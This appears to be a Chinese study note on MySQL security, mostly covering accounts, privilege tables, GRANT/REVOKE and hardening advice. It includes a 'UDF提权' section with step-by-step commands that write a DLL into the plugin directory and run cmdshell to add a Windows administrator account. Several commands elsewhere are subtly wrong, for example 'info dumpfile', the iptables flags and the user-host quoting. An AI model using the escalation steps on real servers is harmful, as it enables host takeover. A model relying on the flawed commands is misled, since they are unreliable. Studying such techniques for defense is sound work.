MySQL安全
权限与设置
MySQL介绍
- MySQL是一个开放源代码的、开源的关系型数据库管理系统(DBMS),广泛应用在互联网上等中小型网站开发中。
- MySQL是一个真正的多用户、多线程SQL数据库服务器,是一个关系型数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,就增加了速度并提高了灵活性。
MySQL用户管理
- MySQL是一个多用户数据库,具有功能强大的访问控制系统,可以为不同用户指定允许的权限。MySQL用户可以分为普通用户和ROOT用户。
- ROOT用户是超级管理员,拥有所有权限,包括创建用户、删除用户和修改用户的密码等管理权限;普通用户只拥有被授予的各种权限。
- 用户管理包括管理用户账户、权限等。
- MySQL提供许多语句来管理用户账号,这些语句可以用来管理包括登录和退出MYSQL服务器、创建用户、删除用户、密码管理等内容。
- 登录:
mysql -h localhost u root -p test
(用root用户登录到本地mysql服务器) - 创建用户:
create user 'test@localhost' identified by 'passwd';
(创建一个用户,用户名为test,密码为passwd);flush privileges;
- 删除用户:
drop user 'user@localhost';
- 登录:
MySQL用户权限表
MySQL服务器通过权限表来控制用户对数据库的访问,权限表存放在MySQL数据库中,由MYSQL_INSTALL_DB脚本初始化。存储账户权限信息表有USER、DB、HOST、TABLES_PRIV、COLUMNS_PRIV和PROCS_PRIV
- USER表是MYSQL中最重要的一个权限表,记录允许链接到服务器的账号信息,权限是全局级的
- DB表中存储了用户对某个数据库的操作权限,决定用户能从哪个主机存取哪个数据库
- HOST表中存储了某个主机对数据库的操作权限,配合DB权限表对给定主机上数据库级操作权限做更细致的控制,此表不受GRANT和REVOKE语句的影响。
- TABLES_PRIV表用来对表设置操作权限
- COLUMNS_PRIV表用来对表的某一列设置权限
- PROCS_PRIV表对存储过程和存储函数设置操作权限
MySQL权限管理
-
MySQL权限管理主要是对登录到MYSQL的用户进行权限验证。所有用户的权限都存储在MySQL的权限表中,不合理的权限规划会给MYSQL服务器带来安全隐患。
-
数据库管理员要对所有用户的权限进行合理规划管理。
-
MYSQL权限系统的主要功能是证实连接到一台给定主机的用户,并赋予该用户在数据库上的SELECT、INSERT、UPDATE和DELETE的权限。
-
授权是为某个用户授予权限,合理的授权可以保证数据库的安全
-
使用GRANT语句为用户授予权限
-
授予的权限可以分为多个层级:
- 全局层级
- 数据库层级
- 表层级
- 列层级
- 子程序层级
示例:
grant SELECT,INSERT on *.* to 'USER@LOCALHOST' identified by 'PWD' with grant option;
-
收回权限就是取消已经赋予用户的某些权限。收回用户不必要的权限可以在一定程度上保证系统的安全性
示例:使用REVOKE语句取消用户TEST的更新权限
revoke update on *.* from 'test@localhost';
-
使用show grants语句查看指定用户的权限信息
show grants for 'user' @' host'
示例:使用show grants语句查询用户test的权限信息
show grants for 'test' @' localhost';
MySQL运行
- 在windows下禁止使用local system来运行MYSQL账户,可以考虑使用NETWORK SERVICE或者自己新建一个账号,但是必须给与MYSQL程序所在目录的读取权限和DATA目录的读取和写入权限。
- 在linux下,新建一个mysql账号,并在安装的时候就指定mysql以mysql账户来运行,给与程序所在目录的读取权限,data所在目录的读取和写入权限。
- mysql运行站好需要给予程序所在目录的读取权限,以及data目录的读取和写入权限。
- 不容许给予其他目录的写入和执行权限
- 取消mysql运行账户对于cmd,sh等一些程序的执行权限。
MySQL访问控制
连接核实与请求核实
内置函数风险
UDF提权
准备:我们需要udf.dll的十六进制,mysql的用户密码(或弱口令)
set @my_udf_a=concat('',dll的16进制);
create table my_udf_data(data longblob);
insert into my_udf_data values("");update my_udf_data set data=@my_udf_a;
select version(); -- 获取数据库版本
select user(); -- 获取数据库用户
select @@basedir; -- 获取安装目录
show variables like '%plugins%';
select data from my_udf_data info dumpfile 'plugin_dir的绝对路径';
select cmdshell('net user xx /add');
select cmdshell('net localgroup administrators x /add');
MySQL安全配置
-
限制访问mysql端口的IP
windows可以通过windows防火墙来限制,linux下可以通过iptables来限制
例如:
iptables -r input 1 -S 192.168.1.120 -j accept
(允许某个IP连接) -
修改mysql的端口
windows下可以修改配置文件my.ini来实现,linux可以修改配置文件my.cnf来实现。
默认端口:3306
-
对所有用户设置强密码并严格指定对应账号的访问IP
mysql中可在user表中指定用户的访问可访问IP
-
root特权账号的处理
建议给root账号设置强密码,并指定只容许本地登录
-
日志的处理
如需要可开启查询日志,查询日志会记录登录和查询语句。
-
删除无用数据库
-
只授予账号必须的权限
一般不要赋予用户all privileges权限,如果有误操作,将会产生非常严重的后果。
-
删除匿名账号、
某些版本中,安装完毕mysql后,会自动安装一个空账号,此账号具有对mysql数据库的全部权限。
-
不把file、process、super权限授予管理员以外的账号